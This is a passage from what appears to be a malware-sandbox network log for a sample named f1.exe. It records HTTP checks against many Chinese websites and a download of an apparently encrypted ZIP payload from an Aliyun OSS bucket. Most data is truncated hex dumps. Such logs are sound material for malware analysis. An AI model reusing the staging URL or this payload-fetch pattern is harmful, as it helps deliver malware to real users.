Aug 4, 2024 10:57:17.854768991 CEST	1236	IN	Data Raw: 4e 91 bf c4 78 59 cb 5e 9f 6a f1 88 ba 9b 1d dc 2f 97 5f f1 1d 3a 0c 11 84 45 bd 1e 16 61 4a 78 a2 6a ac b4 20 37 7e 00 ac bc 60 92 b7 9e 5e e5 89 bd 13 4f d6 cb 15 a2 31 9a ae 31 f7 41 81 cd 09 db e4 08 c4 3b c6 4d d0 71 9a c1 9f 63 03 52 bc 32 Data Ascii: NxY^j/_:EaJxj 7~`^O11A;MqcR2tCd&$Tf^x\-o8onCfh.d98z.VGE 9bK"T(mt&96g"vyMhPZ4!\OM`Bw6];\`gwiP.ZP*GaAd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49713	111.124.200.101	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:16.659632921 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: youdao.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:18.348229885 CEST	199	IN	HTTP/1.1 307 Temporary Redirect Server: YDWS Date: Sun, 04 Aug 2024 08:57:18 GMT Transfer-Encoding: chunked Connection: keep-alive Location: https://youdao.com/ Data Raw: 31 33 0d 0a 68 74 74 70 73 3a 2f 2f 79 6f 75 64 61 6f 2e 63 6f 6d 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 13https://youdao.com/0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49714	163.181.131.216	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:16.699470043 CEST	223	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.eastmoney.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:17.371016026 CEST	544	IN	HTTP/1.1 301 Moved Permanently Server: Tengine Date: Sun, 04 Aug 2024 08:57:17 GMT Content-Type: text/html Content-Length: 262 Connection: keep-alive Location: https://www.eastmoney.com/ Via: ens-cache9.de7[,0] Timing-Allow-Origin: * EagleId: a3b5839d17227618372596881e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 68 61 73 20 62 65 65 6e 20 61 73 73 69 67 6e 65 64 20 61 20 6e 65 77 20 70 65 72 6d 61 6e 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>301 Moved Permanently</h1><p>The requested resource has been assigned a new permanent URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49715	120.26.110.170	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:16.746093988 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: foodmate.net Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:17.804564953 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 08:57:17 GMT Content-Type: text/html; charset=gbk Last-Modified: Sun, 04 Aug 2024 08:52:29 GMT Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding ETag: W/"66af414d-29523" Content-Encoding: gzip Data Raw: 34 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 69 73 1b 57 92 28 fa bd 23 ee 7f c0 60 de 8c e5 e8 06 81 02 40 90 94 25 76 78 e4 ee 19 df 3b dd e3 fb ec 17 f3 6e 74 74 28 40 12 14 61 71 33 09 6a f1 ed 37 5f df ef 00 21 4b dc 64 62 07 b1 93 20 88 7d 07 08 d0 94 64 51 d4 62 cb a2 64 59 b2 44 89 5a e2 66 56 a1 80 02 50 40 15 16 4a f2 8c bb 1d 22 80 aa 73 4e 66 9e 3c 79 f2 e4 c9 e5 d8 df 7d f4 6f 27 3e fb 5f 9f fc 41 30 a2 19 1b 15 7c f2 ff fc d3 bf 7e 7c 42 20 14 89 c5 ff 2e 3b 21 16 7f f4 d9 47 82 ff f7 5f 3e fb d3 bf 0a 88 2e 89 e0 b3 29 e5 f8 b4 5a a3 9e 18 57 8e 8a c5 7f f8 b3 50 20 1c d1 68 26 8f 8a c5 67 cf 9e ed 3a 2b eb 9a 98 3a 25 fe ec ff 16 9f c3 be 08 6c 5c fc 28 d2 30 5a 76 0d 69 86 84 fd bf 39 46 0e 78 6e 6c 74 7c fa 38 4b 37 44 5f 5f 1f d5 9a 7c 57 a5 1c 82 3f 63 2a 8d 12 00 d5 4c 8a 54 5f cc a8 cf 1c 17 9e 98 18 d7 a8 c6 35 a2 cf ce 4f aa 84 82 41 ea db 71 a1 46 75 4e 23 c6 fe 3f 10 0c 8e 28 a7 a6 55 9a e3 a7 06 a4 32 42 2a 14 43 2f 1a b5 66 54 d5 1f 31 05 6c ce 1f f5 77 e3 cf 74 [TRUNCATED] Data Ascii: 4000isW(#`@%vx;ntt(@aq3j7_!Kdb }dQbdYDZfVP@J"sNf<y}o'>_A0\|~\|B .;!G_>.)ZWP h&g:+:%l\(0Zvi9Fxnlt\|8K7D__\|W?cLT_5OAqFuN#?(U2BC/fT1lwtsMoVaZ-<~s"OtKRKa.c?S}!WOf~"in?YcK'\|?\w%fmA 9G~H_J.^'~~If_.g5/l"La1ROW!B/D"XK$<c/l].IM vF\|B;%HYK6EN3sm)OT#S@"hicS9jbi`k1F5/alT201qzL9uUMTzBxCsD"Q\$3JWaYxyljjjb 2J335.L>DQF5k #1:/"]cQ9r;k?x`I?X"cdpblx~uNMfC$A./nF=GT
Aug 4, 2024 10:57:17.804666042 CEST	1236	IN	Data Raw: cf a7 c5 23 13 63 aa 93 b5 d4 a9 5c 65 0a 5c 65 0c 69 d7 01 41 31 7d 5a 3d 2e 1e 52 0d 2b 67 46 35 62 b5 4a 41 8a 0b 14 aa ad 30 32 1b 9a a3 ca f1 53 e2 2f 47 44 83 e3 62 fc d8 69 02 52 6b 40 0c 92 7a 58 dd 6a e7 8d 37 02 98 9c b1 89 01 98 ac a6 Data Ascii: #c\e\eiA1}Z=.R+gF5bJA02S/GDbiRk@zXj7@?Olv}*w&G&?6143R'0%C3Q4S.16'&k&&OTS(YO#J&mV1+TzCNIOM[
Aug 4, 2024 10:57:17.804680109 CEST	1236	IN	Data Raw: e6 24 da b5 4e 82 74 02 c8 6a 34 85 99 69 d5 54 d5 28 95 47 44 52 13 07 50 64 bd a4 70 83 2e 48 2d 92 d4 3b 78 82 7d 6a 06 ec 4c 6a 71 2d b0 68 29 6c b2 a3 cf 59 fa a1 b7 bb e9 b3 a0 c1 d8 0f 04 f1 dd 66 3a 1d 53 aa 47 47 d5 d3 30 1f 35 c4 8c 3f Data Ascii: $Ntj4iT(GDRPdp.H-;x}jLjq-h)lYf:SGG05?;ATry)?VVLaI/0F585ZY2D-tT`u00Nujz2BxPb!k/}`aL0_Q@5nK;Sr<.<4
Aug 4, 2024 10:57:17.805741072 CEST	1236	IN	Data Raw: 0b 7f 6f 58 69 30 38 69 90 ab 1c 99 6e d5 ea c8 7d 45 a2 c7 5d de 46 ab 59 4e 3a ae 80 23 4b e5 f2 82 d9 c2 86 2d 0e 2e 43 e1 45 dd 89 7a 97 1b a0 5d 32 64 b3 8c 5e 34 64 b7 b0 c0 65 b8 c0 49 5f e2 44 43 e1 09 2e ac d3 13 e3 2c 98 63 bb 56 31 27 Data Ascii: oXi08in}E]FYN:#K-.CEz]2d^4deI_DC.,cV1'e(\YnCp!"Wn'>Ib[rppuFVXw#25fZ^8yHgyK}\k:<OVT0wcS1U\|
Aug 4, 2024 10:57:17.805756092 CEST	1236	IN	Data Raw: b6 4b 2f cc 16 50 a3 1a d4 c0 ce 27 62 a7 5b 4c 28 c4 44 8f 48 d2 23 92 49 45 3d 52 9a 62 64 40 cd 3b 47 31 fa ee 0b b4 cb 53 ea 71 d1 c0 84 46 33 31 76 54 32 79 ee 83 da bd 91 37 f3 c9 24 c0 10 d5 7a 56 4b c4 ec 21 89 29 17 49 65 22 89 4c 24 eb Data Ascii: K/P'b[L(DH#IE=Rbd@;G1SqF31vT2y7$zVK!)Ie"L$czCWR!DndKV%.\&z'&(JdbhCbXR$IQbsgPQ-KPi xHZZKz>T5E%eCo,[\Yh~F!7FW
Aug 4, 2024 10:57:17.805768967 CEST	1236	IN	Data Raw: 7b 2c f8 ac 12 33 dc ca 21 d9 ce 33 f3 e3 54 1c 37 4b c8 cf ba 05 2a 1f 7c a2 f0 a4 ce e3 39 57 6c 05 cd 5b ce 1b 14 86 9d e8 a9 2d 6c 39 0e 8d 68 ae 42 78 ff f6 37 b6 f9 40 c3 5e 68 31 92 72 41 d6 1f b4 3a 30 31 c5 f9 0e 45 73 06 6c 2d ec ef 4c Data Ascii: {,3!3T7K\|9Wl[-l9hBx7@^h1rA:01Esl-L?maqtt!uyoZVe\<lHz00#)ZqcM};u`[7mau)\|};]NjlfQ[r++Cr@AD1?
Aug 4, 2024 10:57:17.806873083 CEST	1236	IN	Data Raw: 22 f3 11 ec 65 ae 3b e2 68 51 ca 2c 04 1f 17 25 30 e8 bc 9d ef b3 4c 81 66 0c 1c 10 1e d5 71 03 87 f4 57 67 be d6 5c 01 db 60 62 29 97 6a e5 d1 da af 92 c1 7e 70 bb 66 b8 9f cc 5b e2 eb 39 dd 92 f5 91 3d 69 dd b1 be 48 3a 56 77 d0 cc 1c ca 65 53 Data Ascii: "e;hQ,%0LfqWg\`b)j~pf[9=iH:VweSm/?I_r]^08=MT&\|)XKa#7>BAS\|q(]?Xy/pT2^tWPl$f0<,xQpK8fPtV~e
Aug 4, 2024 10:57:17.806894064 CEST	1236	IN	Data Raw: 7f 9c c5 d5 5b 56 93 fd a5 ed 0a 1a 65 9e 3e ce de 8c 3d 41 88 29 22 72 bf d3 0e 84 32 8e 9d ac ac 1f 39 03 fe 59 3b 04 94 98 9e e6 2e 17 b2 26 8f f3 91 6d 23 7c cb 7f d5 e8 b4 bd b0 df b1 ce 31 75 29 ae 77 cb 10 37 73 94 82 dc 6a 9d 3c 4a 51 aa Data Ascii: [Ve>=A)"r29Y;.&m#\|1u)w7sj<JQ;CWW%^x28WG?~$c&uf4Z/CQCx0_:2mWz&\FoelYnZ}C8v_+'}w>HB!b
Aug 4, 2024 10:57:17.806906939 CEST	1236	IN	Data Raw: 51 97 2c 5c de 5e 30 fd 32 fe 54 92 c9 28 d2 b6 d2 aa 1d 2c a4 1c c7 31 86 04 0b 3d 04 ef ff ad ec 45 b7 39 79 d3 bf 1e 3b 70 2f 26 21 dd 81 ce 69 5a 92 76 ff 43 f0 76 f2 26 26 ad 35 1e 14 72 be d5 35 87 ce 89 e7 34 3c 78 04 92 b1 b4 27 80 99 77 Data Ascii: Q,\^02T(,1=E9y;p/&!iZvCv&&5r54<x'wN;K4i~g`z\F")vY)3O6?FeG)OUqXRBE!Ug+I_/p7@a>mg@6z[B-Etl.o}k\|H{$2
Aug 4, 2024 10:57:17.807025909 CEST	1236	IN	Data Raw: 34 ae 81 6d cb 3e e4 9a 07 07 7a cc 93 6c bf 80 17 6c 8d a7 b3 97 c4 b1 c9 ce 78 60 07 c8 a9 c7 87 27 2a 71 ab 3b a3 dd e0 1b de 68 46 31 91 1b 3d a3 d6 d7 ee bd d0 5d 88 14 be 8b 58 e2 9c a2 cb 69 f6 1e ce 2c 96 d4 a4 8c 53 6c 33 5a 66 5e c0 b7 Data Ascii: 4m>zllx`'q;hF1=]Xi,Sl3Zf^.;X8#~xHD,op6Xt1`j1Nnz4&/VM/g<::_cD!(qx?u{YJc(%,.~yQV!$L!\|<t
Aug 4, 2024 10:57:17.810662031 CEST	1236	IN	Data Raw: a9 8b 24 3d 07 f8 88 c2 b4 53 bd 75 00 75 4e 9d 84 42 bd 91 c4 a8 40 9d aa f4 69 0c a7 9f c3 4d ee 5e fa b9 f9 e2 ea 7d 06 d2 6d f5 d3 01 74 39 b5 18 0a dd 9e 06 4b b1 02 5d 4c 13 8e f1 cd a8 cf d4 45 ba 03 bd 75 00 75 4e ad 86 42 5d c1 17 f5 f0 Data Ascii: $=SuuNB@iM^}mt9K]LEuuNB]A2^="1 BzuyutEFoxo7,J&CPHe2ME=ueNmD,YgN{&IL`V~>rej/YyQK;kHQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49716	47.94.225.221	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:16.815948009 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.jmw.com.cn Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:18.904917002 CEST	367	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.26.0 Date: Sun, 04 Aug 2024 08:57:18 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://www.jmw.com.cn/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.26.0</center></body></html>
Aug 4, 2024 10:57:18.911221981 CEST	367	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.26.0 Date: Sun, 04 Aug 2024 08:57:18 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://www.jmw.com.cn/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.26.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49717	113.219.142.35	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:16.873747110 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.cdstm.cn Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:18.009504080 CEST	464	IN	HTTP/1.1 302 Moved Temporarily Server: JSP3/2.0.14 Date: Sun, 04 Aug 2024 08:57:17 GMT Content-Type: text/html Content-Length: 144 Connection: keep-alive Location: https://www.cdstm.cn/ X-Cache-Status: MISS Strict-Transport-Security: max-age=63072000;includeSubdomains;preload Access-Control-Allow-Origin: * Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 4a 53 50 33 2f 32 2e 30 2e 31 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>JSP3/2.0.14</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49718	101.33.26.139	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:17.035965919 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.hupu.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:17.994267941 CEST	226	IN	HTTP/1.1 302 Found Location: https://www.hupu.com/ Content-Length: 0 X-NWS-LOG-UUID: 4961550856995087907 Connection: keep-alive Server: Lego Server Date: Sun, 04 Aug 2024 08:57:17 GMT X-Cache-Lookup: Return Directly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49719	138.113.115.36	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:17.054219007 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.cctv.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:17.949408054 CEST	512	IN	HTTP/1.1 302 Moved Temporarily Date: Sun, 04 Aug 2024 08:57:17 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: keep-alive Server: Cdn Cache Server V2.0 Location: https://www.cctv.com/ X-Via: 1.0 jp35:16 (Cdn Cache Server V2.0) X-Ws-Request-Id: 66af426d_PS-SIN-01ZAp31_41364-23494 Set-Cookie: HMF_CI=68ef393ec75014fe292bf47f8dfe0dd9b7d46f9cfa31658993b8d1074ce6ea314b45d5efb98688253be6d28d049b9d9e2f0171b862be4de1a3b5b920cc9d5685fb; Expires=Tue, 03-Sep-24 08:57:17 GMT; Path=/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49720	43.159.119.252	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:17.076190948 CEST	221	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.tencent.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:17.537666082 CEST	195	IN	HTTP/1.1 302 Found Location: https://www.tencent.com/ Content-Length: 0 Connection: keep-alive Server: EdgeOne_SS_OC Date: Sun, 04 Aug 2024 08:57:17 GMT EO-LOG-UUID: 3032014657985281959

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49721	61.163.51.35	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:17.184101105 CEST	225	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.autohome.com.cn Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:18.232969999 CEST	368	IN	HTTP/1.1 302 Moved Temporarily Server: JSP3/2.0.14 Date: Sun, 04 Aug 2024 08:57:18 GMT Content-Type: text/html Content-Length: 144 Connection: keep-alive Location: https://www.autohome.com.cn/ X-Cache-Status: MISS Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 4a 53 50 33 2f 32 2e 30 2e 31 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>JSP3/2.0.14</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49722	47.254.187.186	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:17.186666965 CEST	261	OUT	GET /2024-08-04/16_54 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: guangzhoucs.oss-accelerate.aliyuncs.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:18.905354023 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: AliyunOSS Date: Sun, 04 Aug 2024 08:57:18 GMT Content-Type: application/octet-stream Content-Length: 1565 Connection: keep-alive x-oss-request-id: 66AF426E5BC3D20864151A17 Content-Range: bytes 0-1564/1565 Accept-Ranges: bytes ETag: "6CB7E7DD5CFF3106138DBB96608DF232" Last-Modified: Sun, 04 Aug 2024 08:54:02 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 8728803757994850163 x-oss-storage-class: Standard Content-MD5: bLfn3Vz/MQYTjbuWYI3yMg== x-oss-server-time: 4 Data Raw: 50 4b 03 04 14 00 01 00 08 00 4f 0b 02 59 bf 9e fb 94 b3 05 00 00 74 13 00 00 04 00 00 00 63 6c 73 74 a8 40 b3 fc 1f 2a d9 31 4f 64 1f 26 25 e5 24 6e eb 28 fa 68 91 b1 16 a7 08 51 87 24 77 4b fb 31 53 f9 0e de d2 0f 3e d0 a1 45 c0 fb 7d c8 f9 28 c1 1f 66 36 4b 7a f8 f5 d4 39 95 eb f9 ff 9c af 64 98 8b 2d f2 a9 9d 82 5d d4 54 e5 ae 82 1f 57 5f 0f 32 6d e5 0c f6 78 20 d7 e0 32 85 a8 94 df 3d 74 79 99 db 19 e7 76 2a 2f b9 68 e4 d5 dd de 9f 6d e5 ad d2 86 ad 2c 38 9c 4a ca b7 5a 4d 70 20 15 1c 3e 9b e7 13 e9 97 fd 3a 08 a4 d9 96 67 e7 57 7e 08 73 fa 60 27 bf 0e 0c 4b 59 65 2d de 1a e0 2d c9 d3 fb aa 3c ae 3a 52 3e 27 0c e1 49 2f 0d 58 4e e5 07 95 58 76 56 27 be 59 d6 5f b9 2c 71 91 83 fa 31 45 71 a5 31 7d 51 c6 b5 da 54 9f 5e c5 c5 44 e6 08 1e de 7c ac 31 ef bf c7 0a 71 aa dd 52 60 2b ea 1a 03 bb 98 ac 8a 42 99 61 44 45 39 f6 b8 46 9d f8 b4 43 6e a9 a9 3e 2c fc f8 0c 8b 19 18 25 e7 b5 20 95 ce 2c 8b b2 fe 80 bd 9b 2e e0 77 6c c2 0c b4 4d c9 62 43 7d 1c 75 42 a5 2a 45 fd 49 72 5c 12 71 77 d8 57 6a 68 1e [TRUNCATED] Data Ascii: PKOYtclst@1Od&%$n(hQ$wK1S>E}(f6Kz9d-]TW_2mx 2=tyv/hm,8JZMp >:gW~s`'KYe--<:R>'I/XNXvV'Y_,q1Eq1}QT^D\|1qR`+BaDE9FCn>,% ,.wlMbC}uBEIr\qwWjh6o\@]KS)%HCjm>WG=SmQSX-f\|B8El+M+OxtM9-:HoSDq,nXR<_Syc>-C$LDmfSTA>;:p82k$2zL7dq)28rD'lZ00o)&ORy7+/E9+.AkKeX,Z{PMw4v_1:N@'0XmTZlU.9A{mzmH! dy58_,C}iIm?
Aug 4, 2024 10:57:18.905534983 CEST	853	IN	Data Raw: 2e ae d7 15 62 d3 fb f2 30 e3 30 aa 04 1a 23 1d e3 31 b4 4b 1d 88 34 9e d2 55 2b fe d7 ee 3f 08 dc d0 b0 56 9c 14 4a 9b 58 e0 2b 54 10 c3 89 62 67 c3 ba c3 ad 79 ea 50 5a d1 8a 5b 86 57 00 f4 d0 e4 f3 70 73 b3 01 1a b6 4a 8c e1 ec aa ac 7c 93 83 Data Ascii: .b00#1K4U+?VJX+TbgyPZ[WpsJ\|AATBz][*RaJ2[!SMg&~qtFXi>5yGMs\|19H(g5yN1^%# ud '~4Fvt4cB\|}e
Aug 4, 2024 10:57:18.905551910 CEST	853	IN	Data Raw: 2e ae d7 15 62 d3 fb f2 30 e3 30 aa 04 1a 23 1d e3 31 b4 4b 1d 88 34 9e d2 55 2b fe d7 ee 3f 08 dc d0 b0 56 9c 14 4a 9b 58 e0 2b 54 10 c3 89 62 67 c3 ba c3 ad 79 ea 50 5a d1 8a 5b 86 57 00 f4 d0 e4 f3 70 73 b3 01 1a b6 4a 8c e1 ec aa ac 7c 93 83 Data Ascii: .b00#1K4U+?VJX+TbgyPZ[WpsJ\|AATBz][*RaJ2[!SMg&~qtFXi>5yGMs\|19H(g5yN1^%# ud '~4Fvt4cB\|}e
Aug 4, 2024 10:57:18.911248922 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: AliyunOSS Date: Sun, 04 Aug 2024 08:57:18 GMT Content-Type: application/octet-stream Content-Length: 1565 Connection: keep-alive x-oss-request-id: 66AF426E5BC3D20864151A17 Content-Range: bytes 0-1564/1565 Accept-Ranges: bytes ETag: "6CB7E7DD5CFF3106138DBB96608DF232" Last-Modified: Sun, 04 Aug 2024 08:54:02 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 8728803757994850163 x-oss-storage-class: Standard Content-MD5: bLfn3Vz/MQYTjbuWYI3yMg== x-oss-server-time: 4 Data Raw: 50 4b 03 04 14 00 01 00 08 00 4f 0b 02 59 bf 9e fb 94 b3 05 00 00 74 13 00 00 04 00 00 00 63 6c 73 74 a8 40 b3 fc 1f 2a d9 31 4f 64 1f 26 25 e5 24 6e eb 28 fa 68 91 b1 16 a7 08 51 87 24 77 4b fb 31 53 f9 0e de d2 0f 3e d0 a1 45 c0 fb 7d c8 f9 28 c1 1f 66 36 4b 7a f8 f5 d4 39 95 eb f9 ff 9c af 64 98 8b 2d f2 a9 9d 82 5d d4 54 e5 ae 82 1f 57 5f 0f 32 6d e5 0c f6 78 20 d7 e0 32 85 a8 94 df 3d 74 79 99 db 19 e7 76 2a 2f b9 68 e4 d5 dd de 9f 6d e5 ad d2 86 ad 2c 38 9c 4a ca b7 5a 4d 70 20 15 1c 3e 9b e7 13 e9 97 fd 3a 08 a4 d9 96 67 e7 57 7e 08 73 fa 60 27 bf 0e 0c 4b 59 65 2d de 1a e0 2d c9 d3 fb aa 3c ae 3a 52 3e 27 0c e1 49 2f 0d 58 4e e5 07 95 58 76 56 27 be 59 d6 5f b9 2c 71 91 83 fa 31 45 71 a5 31 7d 51 c6 b5 da 54 9f 5e c5 c5 44 e6 08 1e de 7c ac 31 ef bf c7 0a 71 aa dd 52 60 2b ea 1a 03 bb 98 ac 8a 42 99 61 44 45 39 f6 b8 46 9d f8 b4 43 6e a9 a9 3e 2c fc f8 0c 8b 19 18 25 e7 b5 20 95 ce 2c 